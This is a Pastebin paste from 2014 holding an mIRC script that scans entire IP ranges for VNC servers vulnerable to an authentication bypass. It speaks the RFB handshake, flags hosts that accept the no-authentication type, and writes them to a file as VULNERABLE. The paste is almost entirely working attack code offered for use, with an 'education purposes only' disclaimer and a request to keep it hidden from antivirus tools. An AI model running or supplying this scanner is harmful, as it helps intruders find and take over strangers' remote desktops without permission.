independentt

VNC bypass auth - IP range scanner

Jul 7th, 2014
26,924
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ;Copy code into your mIRC remote scripts
  2. ;Syntax is /rvnc <ip.ip.ip.ip> <port>
  3. ;ex: /rvnc 192.168.0.0 5900
  4. ;above command will scan from 192.168.0.0 to 192.255.255.255 then halt.
  5. ;Illegal if you decide to scan IP addresses not in your network
  6. ;Education purposes only. Please keep undetected from antiviruses as this code is CLEAN!!!
  7.  
  8. on *:sockopen:vncscan*:{
  9.   if ($sockerr) { return }
  10. }
  11. on *:sockread:vncscan*:{
  12.   :nextread
  13.   sockread &vnc
  14.   if ($sockbr == 0) return
  15.   echo @vnc $sock($sockname).ip : $+ $sock($sockname).port $bvar(&vnc,1,$bvar(&vnc,0)).text --- $bvar(&vnc,1,$bvar(&vnc,0))
  16.   if (0*0*0*0* iswm $bvar(&vnc,1,$bvar(&vnc,0))) sockmark $sockname VULN
  17.   if (*003.008* iswm $bvar(&vnc,1,$bvar(&vnc,0)).text) { bset &bytes 1 82 70 66 32 48 48 51 46 48 48 56 0 | sockwrite -bn $sockname -1 &bytes }
  18.   bset &bytes 1 01 02
  19.   sockwrite -bn $sockname -1 &bytes
  20.   bset &bytes 1 01
  21.   sockwrite -bn $sockname -1 &bytes
  22.   checkvnc $sockname
  23.   goto nextread
  24. }
  25. alias checkvnc {
  26.   if ($sock($1).mark == VULN) { write VNC_bypauth.txt $sock($1).ip : $+ $sock($1).port VULNERABLE | echo @vnc 9,3 $sock($1).ip $+ : $+ $sock($1).port VNC VULNERABLE }
  27. }
  28. alias rvnc {
  29.  set %interval 200
  30.   window -ae @vnc
  31.   unset %range*
  32.   set %range1 $gettok($1,1,46)
  33.   set %range2 $gettok($1,2,46)
  34.   set %range3 $gettok($1,3,46)
  35.   .timerRANGEr -om 0 %interval nextvnc $2-
  36.   echo @vnc Starting at $1 on Port $2
  37. }
  38. alias nextvnc {
  39.   :START
  40.   set %temp $r(0,99999999999999999999999999999)
  41.   if ($sock(vncscan $+ %temp).name != $null) goto START
  42.   inc %range4
  43.   sockopen vncscan $+ %temp %range1 $+ . $+ %range2 $+ . $+ %range3 $+ . $+ %range4 $1
  44.   goto next
  45.   :NEXT
  46.   if (%range4 >= 255) { inc %range3 | set %range4 0 }
  47.   if (%range3 >= 255) { inc %range2 | set %range3 0 }
  48.   if (%range2 >= 255) { unset %range* |  echo @vnc VNC Scan halted. | .timerRANGE off | halt }
  49. }
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×